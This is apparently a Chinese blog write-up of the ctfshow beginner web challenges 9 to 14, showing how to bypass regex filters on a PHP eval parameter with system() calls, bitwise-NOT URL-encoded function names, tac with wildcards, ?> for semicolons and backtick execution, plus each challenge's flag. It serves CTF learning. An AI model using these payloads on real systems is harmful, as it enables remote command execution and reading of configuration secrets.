ctfshow萌新计划web9-14(正则匹配绕过)

目录

web9

web10

web11

web12

web13

web14


web9

审一下代码,需要匹配到system|exec|highlight才会执行eval函数

先看一下当前目录下有什么

payload:?c=system('ls');

index.php是首页,我们看看config.php

payload:?c=system('cat config.php');

没有回显,看一下源码,找到flag

ctfshow{8e148a24-0ac7-4280-8bfe-f4fd4560112b}

web10

这次if语句里加了个非,即过滤掉了system|exec|highlight

用之前讲过的取反绕过,可以参考 http://t.csdnimg.cn/1p3dy

即对我们想要执行的代码进行取反,url编码,再取反

题目源代码里也有提示,flag在config.php里面

代码很简单我们直接使用在线编译工具生成payload

php 复制代码
<?php
echo urlencode(~'system');
echo "\n";
echo urlencode(~'cat config.php');
?>

构造payload:?c=(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%9C%90%91%99%96%98%D1%8F%97%8F);

传入之后查看源代码

ctfshow{826e3a2b-decb-42d0-ae45-dced3337b685}

web11

才发现上一道题其实只需要对system取反绕过即可,这里才是过滤掉了cat

继续使用上一道题的payload:

或者只对system取反绕过,cat用tac代替

tac命令:反向显示文件内容,即最先显示的是最后一行,倒数第二行,倒数第三行,以此类推到最后显示原本文件的第一行内容。

构造payload:?c=(~%8C%86%8C%8B%9A%92)('tac config.php');

ctfshow{eef3eb10-069e-4c10-83c3-facc913d4dae}

web12

这里把文件名config,php也过滤了

可以使用通配符 * 或者 ? 进行模糊查询

构造payload:?c=(~%8C%86%8C%8B%9A%92)('tac c*');

或者:?c=(~%8C%86%8C%8B%9A%92)('tac ???fi??p??');

随便怎么敲都行

ctfshow{523f3e7f-264f-438c-a355-aafb71807094}

web13

这里把;也过滤了

使用 ?>代替

构造payload:?c=(~%8C%86%8C%8B%9A%92)('tac c*')?>

ctfshow{660772e4-5170-4117-98ad-43611f2af520}

web14

过滤了括号,使用反引号``代替

system用echo替换,可以参考我前面的博客http://t.csdnimg.cn/M7VNu

构造payload: ?c=echo`tac c*`?>

ctfshow{2ebfa3da-656e-42e2-b3f1-0ecd342ec6b7}

相关推荐
事业运财运爆棚1 小时前
中exec()函数因$imagePath参数导致的命令注入漏洞
web安全
shenyan~4 小时前
关于 Web安全:1. Web 安全基础知识
安全·web安全
jingyu飞鸟4 小时前
Centos7系统(最小化安装)安装zabbix7版本详细文章、nginx源代码配置、php源代码、mysql-yum安装
开发语言·php
Q_Q19632884755 小时前
python的家教课程管理系统
开发语言·spring boot·python·django·flask·node.js·php
lanbing7 小时前
PHP 与 面向对象编程(OOP)
开发语言·php·面向对象
若初&7 小时前
文件上传Ⅲ
前端·web安全
雪兽软件10 小时前
2025 年十大网络安全预测
web安全·数据安全
zm14 小时前
TCP 粘包
服务器·网络·php
Le_ee19 小时前
sqli-labs靶场第七关——文件导出注入
数据库·sql·网络安全·php·sql注入·sqli—labs
zm20 小时前
UDP 多点通信
开发语言·php